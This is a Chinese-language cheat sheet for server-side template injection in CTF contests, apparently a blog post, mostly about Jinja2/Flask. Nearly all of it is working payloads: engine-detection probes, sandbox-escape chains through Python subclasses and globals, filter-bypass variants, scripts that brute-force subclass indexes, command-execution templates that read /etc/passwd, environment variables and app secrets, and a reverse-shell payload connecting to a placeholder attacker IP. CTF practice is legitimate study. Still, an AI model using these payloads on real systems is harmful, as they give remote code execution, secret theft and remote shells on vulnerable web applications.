CTFSSTI速查
CTF专用:
{%print(lipsum.__globals__.os.popen('ls').read())%}
{{lipsum.__globals__.os.popen('ls').read()}}
{{lipsum['__globals__']['os']['popen']('ls')['read']()}}
{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("ls")|attr("read")()}}
{{lipsum['__glob'als__']['os']['pop''en']('ls').read()}}
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('ls').read()}}
目标:{{lipsum.__globals__['os'].popen('ls').read()}}
payload:在post体的code传参,且选择application/x-www-from-urlencode(raw)
code={%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
环境变量:
{{lipsum.__globals__['os'].environ}}
{{lipsum.__globals__['os'].environ['GZCTF_FLAG']}}
##lipsum → Flask/Jinja2 内置函数
.__globals__ → 访问函数的全局命名空间
['os'] → 获取 os 模块
.environ → 访问环境变量字典
['GZCTF_FLAG'] → 读取 flag
{{config}}
{{config.FLAG}}
{{config['FLAG']}}
{{handler.settings}} #获取应用配置(cookie_secret)
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
一、判断是否存在SSTI注入
首先发现url栏?sb=666,他会回显666在浏览器上
(1)输入?sb={{7*7}}返回49则存在漏洞

沙箱逃逸--识别模板:


绿色箭头是执行成功,红色箭头是执行失败。
首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
然后回到最初注入
成功回显出的情况,这种时候是执行成功走绿线,再次注入a{*ccc*}b,如果执行成功回显ab,就说明是smarty模板;如果没有回显出,就是执行失败走红线,注入
{"z".join("ab")},如果执行成功回显出zab就说明是Mako模板
(2)识别引擎:通过不同的测试 payload 判断是 Jinja2、Mako 还是其他引擎。比如 {{7*'7'}} 在 Jinja2 中返回 7777777,在 Twig(PHP)中返回 49
一、 拿基类
在Python中,所有类最终都继承一个特殊的基类,名为 object,这是所有类的祖先。拿到它即可获取Python中所有的子类。
【1】寻找时用的魔术方法
① __class__:类的一个内置属性,表实例对象的类。
② __base__:类型对象的直接基类。
③ __bases__:类型对象的全部基类,以元组形式。类型的实例通常没有属性 __bases__。
④ __mro__:查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
【2】 寻找子类
当我们拿到基类,也就是
① ().__class__.__base__.subclasses__()
② ().__class__.__bases__[0].subclasses__()
③().__class__.__mro__[-1].subclasses__()
注:bases 会返回元组形式,bases[0] = base;mro[-1] 总能拿到基类。
注: 识别引擎(Python SSTI)
Python模板注入(SSTI)的引擎及语法特征:
Jinja2:{{%s}}
mako:${%s}
Tornado:{{%s}}
Django:{{}}
【3】找到子类后去找要用的方法
Python版本不同,子类的索引顺序会发生变化。
[1] 法一:利用 __init__.__globals__来寻找内置函数(eval、exec)
很多类的 __init__方法的全局变量(__globals__)中若导入了Python的内置函数(__builtins__),只要找到了__builtins__,就可以调用 eval 或 exec 了。
即:__init__.__globals__.__builtins__['eval']('')
步骤:检查子类的 __init__ 方法中是否包含 __globals__,且 __globals__中是否包含 __builtins__。
示例:发现 __builtins__,Payload如下:
''.__class__.__base__.__subclasses__()[83].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
[2] 法二:寻找直接执行命令的类(如 Popen)
即寻找类名中有 popen 或类中包含 popen。
示例:Python3通常索引130左右有
Payload:
''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()
其他:还有 subprocess.Popen
常用的类:
(1)
{{''.__class__.__base__.__subclasses__()[194].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
注意:flag可能会在环境变量里面,此时输入env命令(把上面的ls替换为env即可)
(2)
{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
(3)
{{''.__class__.__base__.__subclasses__()[294]('ls',shell=True,stdout=-1).communicate()[0].strip()
}}
或:
{{''.__class__.__base__.__subclasses__()[294]('ls',shell=True,stdout=-1).communicate()}}
注:几个含有eval的类
warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
etc.
脚本快速定位索引
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xxxx/?get参数={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url,headers=headers)
if 'FileLoader' in res.text: #以FileLoader为例
print(i)
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
url = "http://xxx.xxx.xxx.xxx:xxxx/"
postPara = {"post参数":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
res = requests.post(url=url,headers=headers,data=postPara)
if 'FileLoader' in res.text: #以FileLoader为例,查找其他命令时就用其他子类
print(i)
三、通用 payload ( Python3 )¶
# 命令执行_eval
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}
# 命令执行_os.py
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'os' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}
# 命令执行_popen
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'popen' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['popen']('ls /').read() }}
{% endif %}
{% endfor %}
# 命令执行__frozen_importlib.BuiltinImporter
{% for x in [].__class__.__base__.__subclasses__() %}
{% if 'BuiltinImporter' in x.__name__ %}
{{ x["load_module"]("os")["popen"]("ls /").read() }}
{% endif %}
{% endfor %}
# 命令执行_linecache
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'linecache' in x.__init__.__globals__ %}
{{ x.__init__.__globals__['linecache']['os'].popen('ls /').read() }}
{% endif %}
{% endfor %}
# 命令执行_exec(无回显故反弹shell)
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
{% endif %}
{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[216].__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_IP",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')}}
# 命令执行_catch_warnings
{% for x in [].__class__.__base__.__subclasses__() %}{% if 'war' in x.__name__ %}{{ x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
# catch_warnings 读取文件
{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/app/flag', 'r').read() }}{% endif %}{% endfor %}
# _frozen_importlib_external.FileLoader 读取文件
{% for x in [].__class__.__base__.__subclasses__() %} # {% for x in [].__class__.__bases__[0].__subclasses__() %}
{% if 'FileLoader' in x.__name__ %}
{{ x["get_data"](0,"/etc/passwd")}}
{% endif %}
{% endfor %}
# 其他RCE
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}

hackbar选取application/x-www-form-urlencoded (raw)
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627644

浙公网安备 33010602011771号